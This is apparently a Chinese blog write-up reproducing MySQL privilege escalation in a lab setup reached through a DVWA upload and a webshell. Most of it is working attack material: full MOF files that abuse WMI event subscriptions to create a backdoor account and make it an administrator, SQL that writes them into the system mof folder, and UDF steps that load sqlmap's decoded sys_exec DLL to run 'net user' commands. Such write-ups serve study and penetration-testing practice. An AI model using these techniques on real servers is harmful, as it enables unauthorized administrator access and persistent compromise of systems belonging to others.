今天复现了一下mysql提权,以往都没有尝试过,所以搭建环境尝试一下。

搭建环境:
phpstudy
win7企业版
DVWA上传点

以上步骤省略,跳到getshell后,使用哥斯拉进行提权。(假设所有条件满足,如不满足,尝试其他方法)

一、MOF提权
原理:
利用c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会有一个特定的时间去执行一次,那么把cmd命令添加到nullevt.mof中,cmd命令就会自动执行了。

注:mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径。如有需要,需将my.ini里添加一行"secure-file-priv=".

提权要求:
1、低于win2008版本.
2、数据库为 mysql<5.7且知道登录账号密码并且允许外连.

1、先用select version();查看版本,低于5.7可尝试提权

2、将如下代码保存文件nullevt.mof,添加用户admin/admin(可改用户,代码下admin admin)。上传到可读可写文件夹。

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\Cimv2”;
Name = “filtP2”;
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa “Win32_LocalTime” "
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(“WScript.Shell”)\nWSH.run(“net.exe user admin admin /add”)”;
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

3、将如下代码保存文件admin.mof,将admin(刚才添加的用户)添加为管理组。
#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\Cimv2”;
Name = “filtP2”;
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa “Win32_LocalTime” "
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(“WScript.Shell”)\nWSH.run(“net.exe localgroup administrators admin /add”)”;
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

4、执行load_file及into dumpfile把文件导出到目录c:/windows/system32/wbem/mof/下
select load_file(‘C:\RECYCLER\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
select load_file(‘C:\RECYCLER\admin.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/admin.mof’;

5、使用net user查看添加是否成功

二、UDF提权
UDF提权要求:
获得root条件

提权版本区别:
1、5.1版本以下调用的是(c:\windows\system32)中的dll文件执行
2、5.1版本以上调用mysql安装目录中的lib\plugin中的dll文件执行

获取ROOT密码思路:找配置文件
如:mysql里的user.myd文件

1、提权准备:
查看版本(不能使用mof提权,我们使用UDF提权)
select version();
mysql提权之MOF、UDF复现2、创建目录:
mysql提权之MOF、UDF复现3、UDF的dll在sqlmap里有,我们直接使用sqlmap里的就能找到sqlmap\data\udf\mysql\windows\64。
但是sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py

解码命令参数:
python clock.py -d -i *.\windows\64\lib_mysqludf_sys_
mysql提权之MOF、UDF复现4、执行sql语句,发现不存在这个函数,我们去DLL里找存在的函数。
create function cmdshell returns string soname “lib_mysqludf_sys.dll”;
mysql提权之MOF、UDF复现5、可存在函数如下,我们使用sys_exec函数
mysql提权之MOF、UDF复现
create function sys_exec returns string soname “lib_mysqludf_sys.dll”;
mysql提权之MOF、UDF复现6、添加用户,使用net user查看添加是否成功:
select sys_exec(‘net user test2 test2 /add’);
mysql提权之MOF、UDF复现mysql提权之MOF、UDF复现

三、思考:
1、MOF跟UDF的区别是什么?
2、如果版本大于5.7提权的话,用MOF还是UDF好?
3、如果都存在root权限的话,用MOF还是UDF好?

相关文章: